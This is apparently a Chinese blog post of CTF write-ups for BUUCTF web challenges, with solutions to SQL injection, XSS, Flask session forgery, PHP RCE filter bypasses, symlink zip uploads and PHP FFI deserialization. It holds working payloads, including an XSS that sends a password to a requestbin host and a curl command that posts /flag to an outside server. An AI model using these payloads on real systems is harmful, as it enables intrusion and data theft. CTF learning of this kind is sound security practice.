buu刷题(第一周)

目录

[DDCTF 2019]homebrew event loop

action:trigger_event%23;action:buy;5%23action:get_flag;

[CISCN2019 华东南赛区]Web4

[RootersCTF2019]babyWeb

[GWCTF 2019]mypassword 

 [NESTCTF 2019]Love Math 2

[BSidesCF 2019]Pick Tac Toe

[RootersCTF2019]ImgXweb

 [SWPU2019]Web3

[RCTF 2019]Nextphp

FFI是什么


<?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
//生成一串32位的随机数,转换为16进制
eval("function SUCTF_$hash(){"
    ."global \$MY;"
    ."\$MY();"
    ."}");
if(isset($_GET['func_name'])){
    $_GET["func_name"]();
    die();
}
show_source(__FILE__

create_function直接执行,里面是有eval

https://www.cnblogs.com/-chenxs/p/11459374.html

所以需要让create_function的函数名()引用一下来执行,下面的是不可能爆破成功了,然后create_function()这个函数的漏洞,他create之后会自动生成一个函数名为%00lambda_[0-999]我们可以爆破

import requests
for i in range(0,1000):
    payload="http://d815e336-d9b3-49c7-a28c-0ba34ba92c8f.node4.buuoj.cn:81/?func_name=%00lambda_{}".format(i)
    res=requests.get(url=payload)
    if(res.status_code==200):
        print(res.text)

[DDCTF 2019]homebrew event loop

这里简单说一下我在哪卡住的

我当时就想的是里面只会有一个值,也就是我们传入的

action:trigger_event%23;action:buy;5%23action:get_flag;

然后不就只可以循环一次吗,然后看见都需要先调用trigger_event

先写一下我们经过execute_event_loop()一些值得变化

action:  tigger_event#

args :   ["action:buy;5",["action:get_flag;"]]

 event_handler: tigger_event#_handler    #注释掉了后面    最后为   

就是 tigger_event(args)里面是两个数组

然后

request.event_queue= ["action:buy;5","action:get_flag;"]

这样这里就会0 1都有值可以循环二次,

 action:  buy

args :   ["action:buy;5",["action:get_flag;"]]  5

 event_handler: buy_handler

buy_handler(5)

最后一次调用

 action:  get_flag

args :  空

 event_handler: get_flag()

就是这样最后获得flag

然后为什么说可以直接调用5呢,因为这里是就是我们的钱无论够不够,它都会给我们先加上,然后扣掉

action:trigger_event%23;action:buy;2%23action:buy;3%23action:get_flag;%23

[CISCN2019 华东南赛区]Web4

初始一个界面点开后就有链接

通过观察url可以试一下任意文件读取漏洞

 发现可以读取源码,显示nosponse,呃呃呃当时这卡住了

应该换种角度思考,当时只是一味的读index.php如何审计,读取当前进程执行命令/proc/self/cmdline应该看一下进程

这种就以前见过,一个框架然后读取进程

import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())#获取mac地址
app.config['SECRET_KEY'] = str(random.random()*233)#生成随机密钥    
app.debug = True#赋值

@app.route('/')  #路由选择
def index():
    session['username'] = 'www-data'  #普通用户
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)#获取指定url的网址信息
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':#这是我们的目标
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

很简单,获取网卡地址然后生成密钥,伪造session为fuck 

 这里需要转化为十进制

这里就是python2和python3的版本区别,可以都试一下,该题 版本是python2

[RootersCTF2019]babyWeb

打开界面发现过滤了 ‘ “ union or 说明大概率是数字型注入。 

然后试一下1 || 1=1 limit 0,1直接出了flag

因为union的缘故,想到了报错注入,

1^updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)    users

获得列名,因为禁用了引号,所以users用16进制

1^updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),0x7e),1)    

发现显示的不全,第一种可以去掉group_concat,然后table_name=0x7573657273 limit 4,1 来截取

第二种,mid

1^updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),40,20),0x7e),1)    

 1^updatexml(1,concat(0x7e,(select group_concat(uniqueid) from users limit 0,1),0x7e),1)    

 XPATH syntax error: '~837461526918364526,123456789928'  然后查询获得flag

或者sqlmap一把梭

[GWCTF 2019]mypassword 

打开界面是一个登陆界面,然后打算用admin注册发现,该用户已经被注册

当时想了一下是不是要伪造admin用户呢

然后随机注册了一个用户,看一下功能FeedBack的源码

if(is_array($feedback)){
				echo "<script>alert('反馈不合法');</script>";
				return false;
			}
			$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
			foreach ($blacklist as $val) {
		        while(true){
		            if(stripos($feedback,$val) !== false){
		                $feedback = str_ireplace($val,"",$feedback);
		            }else{
		                break;
		            }
		        }
		    }

 单纯从过滤的字符来看这道题,八成是一个xss然后,是把过滤的替换为空这个过滤很好绕过,只需要 inhostput拼接就可以了。

然后试一下能不能弹出

<scriphostt>alert(1)</scriphostt>发现可以弹出来。

呃呃呃呃思路到这里没了,只能去偷偷翻wp

最后发现少了点重要信息,在一开始未登陆的源码

if (document.cookie && document.cookie != '') {
	var cookies = document.cookie.split('; ');//分割cookie进行遍历
	var cookie = {};
	for (var i = 0; i < cookies.length; i++) {
		var arr = cookies[i].split('=');
		var key = arr[0];
		cookie[key] = arr[1];
	}
	if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
		document.getElementsByName("username")[0].value = cookie['user'];//获取元素的值
		document.getElementsByName("password")[0].value = cookie['psw'];
	}
}

很简单这里是给我我们的提示,我们需要用同样的步骤获取值,然后显示出来就行

<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
    var psw = docucookiement.getcookieElementsByName("password")[0].value;
    docucookiement.locacookietion="http://http.requestbin.buuoj.cn/rlrk8drl/?a="+psw;
</scrcookieipt>

 RequestBin - 1oluqhy1这里是通过buu的一个平台可以接受请求,然后把接受的命令显示出来,也就是a=


 [NESTCTF 2019]Love Math 2

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 60) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

大体思路通过数学符号然后构成一个命令执行,最后执行eval.

一个通用的方法就是用白名单和数字进行异或

<?php
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($whitelist);$k++){
    for($i=0;$i<9;$i++){
        for($j=0;$j<=9;$j++){
            $exp=$whitelist[$k] ^ $i. $j;
            echo ($whitelist[$k]."^$i$j"."=====>$exp");
            echo"<br />";

        }
    }
}

我们只需要找出_GET的构造就可以了,如何{}可以代替【】,

is_nan^64=====>_G

rand^75=====>ET

?c=$pi=(is_nan^(6).(4)).(rand^(7).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=ls%20/

我们要实现的其实是

?c=$pi=(_GET);$pi=$_GET;$_GET{0}($_GET{1})&0=system&1=ls%20/

[BSidesCF 2019]Pick Tac Toe

打开界面,感觉是只要自己连成一条一直即可获得flag,但根本赢不了  查看源码,发现每个格子对应着一个id,只需要move=id名字,就可以改掉及时该格子已被使用。

[RootersCTF2019]ImgXweb

点开界面是一个登陆的界面,首先注册了admin发现该用户已经存在,然后感觉是伪造admin用户

看了一下cookie发现是jwt可以解码,这时候就是如何获取密钥

diresearch发现了robots.txt,--》获得密钥

 

发现flag加载不出来,用了curl方法返回响应

 

 [SWPU2019]Web3

打开界面之后,发现直接登陆admin admin直接登陆成功,如何看见了uplaod的选项 

但是提示权限不够,直接查看源码

Permission denied!
<script type="text/javascript"> 
onload=function(){ 
setInterval(go, 1000); 
}; 
var x=3;
function go(){ 
x--; 
if(x>0){ 
document.getElementById("sp").innerHTML=x;
}else{ 
location.href='/'; 
} 
} 
</script>

当时的思路是绕过x>0,然后一秒转到根目录了,但是实在想不到怎么绕过了。

接着看了一下cookie,解码得到 

b'{"id":{" b":"MTAw"},"is_login":true,"password":"admin","username":"admin"}'

        解码b:100

到这里想了一下,明明是admin用户了,说明后台检验是否是管理员用户用的id字段,这点是看别的师傅wp出来的,我到这里真的没想到,把b改为1,这里的true必须是大写T,不然报错,血的教训。

然后文件上传会显示源码,

@app.route('/upload',methods=['GET','POST'])
def upload():
    if session['id'] != b'1':
        return render_template_string(temp)
    if request.method=='POST':
        m = hashlib.md5()#进行md5     
        name = session['password']//对应本次的是密码
        name = name+'qweqweqwe'//adminqweqweqwe
        name = name.encode(encoding='utf-8')//字符utf-8加密
        m.update(name)
        md5_one= m.hexdigest()   //name也就是password的md5加密
        n = hashlib.md5()
        ip = request.remote_addr //ip地址
        ip = ip.encode(encoding='utf-8')
        n.update(ip)
        md5_ip = n.hexdigest()

        f=request.files['file'] #接收前端发的文件
        basepath=os.path.dirname(os.path.realpath(__file__)) #找出真实的位置
        path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
        path_base = basepath+'/upload/'+md5_ip+'/'
        filename = f.filename  #获取文件名
        pathname = path+filename   #路径  +  文件名
        if "zip" != filename.split('.')[-1]:    #这里需要是zip文件
            return 'zip only allowed'
        if not os.path.exists(path_base):
            try:
                os.makedirs(path_base)
            except Exception as e:
                return 'error'
        if not os.path.exists(path):
            try:
                os.makedirs(path)  #建立文件
            except Exception as e:
                return 'error'
        if not os.path.exists(pathname):
            try:
                f.save(pathname)
            except Exception as e:
                return 'error'
        try:
            cmd = "unzip -n -d "+path+" "+ pathname
            if cmd.find('|') != -1 or cmd.find(';') != -1:  #文件中不能存在 |  ;
                waf()
                return 'error'
            os.system(cmd)  #这里有个命令执行
        except Exception as e:
            return 'error'
        unzip_file = zipfile.ZipFile(pathname,'r')
        unzip_filename = unzip_file.namelist()[0]
        if session['is_login'] != True:
            return 'not login'
        try:
            if unzip_filename.find('/') != -1:
                shutil.rmtree(path_base)
                os.mkdir(path_base)
                return 'error'
            image = open(path+unzip_filename, "rb").read()
            resp = make_response(image)
            resp.headers['Content-Type'] = 'image/png'
            return resp
        except Exception as e:
            shutil.rmtree(path_base)
            os.mkdir(path_base)
            return 'error'
    return render_template('upload.html')


@app.route('/showflag')
def showflag():
    if True == False:
        image = open(os.path.join('./flag/flag.jpg'), "rb").read()
        resp = make_response(image)
        resp.headers['Content-Type'] = 'image/png'
        return resp
    else:
        return "can't give you"
-->

这里的关键就是,

@app.route('/showflag')
def showflag():
    if True == False:
        image = open(os.path.join('./flag/flag.jpg'), "rb").read()
        resp = make_response(image)
        resp.headers['Content-Type'] = 'image/png'
        return resp
    else:
        return "can't give you"

但if是不可能成立的,但是这里给出了flag.jpg的路径,./flag/flag.jpg,这里必须使用zip上传,就用到了软链接的思路。

1.在 linux 中,/proc/self/cwd/会指向进程的当前目录,在不知道 flask 工作目录时,我们可以用/proc/self/cwd/flag/flag.jpg来访问 flag.jpg。
2.ln -s是Linux的软连接命令,其类似与windows的快捷方式。比如ln -s /etc/passwd shawroot 这会出现一个名为shawroot的文件,其内容为/etc/passwd的内容。

 ln -s /proc/self/cwd/flag/flag.jpg JYcxk

zip -ry root.zip JYcxk

-r:将指定的目录下的所有子目录以及文件一起处理

-y:直接保存符号连接,而非该连接所指向的文件,本参数仅在UNIX之类的系统下有效。
 

上传压缩包,burp抓包即可获得flag

[RCTF 2019]Nextphp

<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

 直接system没响应,八成被禁用了。

 绕过disable_function,这道题的考点是FFI命令执行

可以用FFI的指定文件是preload.php,所以我们需要查看一下源码。 

 ?a=var_dump(file_get_contents(%27/var/www/html/preload.php%27));

得到如下源码 


<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);

        //ret=print_r(1)
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);//结合数组
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}
"

FFI是什么

FFI是php7.4 版本出的一个扩展,总结而言,就是php中可以调用c语言中写的库

?a=var_dump(file_get_contents(%27/var/www/html/preload.php%27));

简单的来说,系统会先执行 __serialize>serialize ,__unserialize>unserialize

 所以如果我们想要执行后者,必须注释掉前者。

    <?php    
    final class A implements Serializable {
        protected $data = [
            'ret' => null,
            'func' => 'FFI::cdef',
            'arg' => 'int system(char *command);'
        ];
    
        private function run () {
            echo "run<br>";
            $this->data['ret'] = $this->data['func']($this->data['arg']);
        }
    
        public function serialize (): string {
            return serialize($this->data);
        }
    
        public function unserialize($payload) {
            $this->data = unserialize($payload);
            $this->run();
        }
    
        public function __get ($key) {
            return $this->data[$key];
        }
    
        public function __set ($key, $value) {
            throw new \Exception('No implemented');
        }
    
    
    }
    
    $a = new A();
    echo base64_encode(serialize($a)); // 即payload
?a=unserialize(base64_decode('QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319'))->__serialize()['ret']->system('curl -d @/flag 服务器 IP:7777 ');

第二种方法就是,直接在页面上输出

a=unserialize(urldecode('C%3A1%3A%22A%22%3A89%3A%7Ba%3A3%3A%7Bs%3A3%3A%22ret%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A9%3A%22FFI%3A%3Acdef%22%3Bs%3A3%3A%22arg%22%3Bs%3A26%3A%22int+system%28char+%2Acommand%29%3B%22%3B%7D%7D'))->__serialize()['ret']->system('ls > /var/www/html/1.txt'); 

 因为这道题限制了目录,所以我们把结果存在根目录的1.txt里面,最后获得flag。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值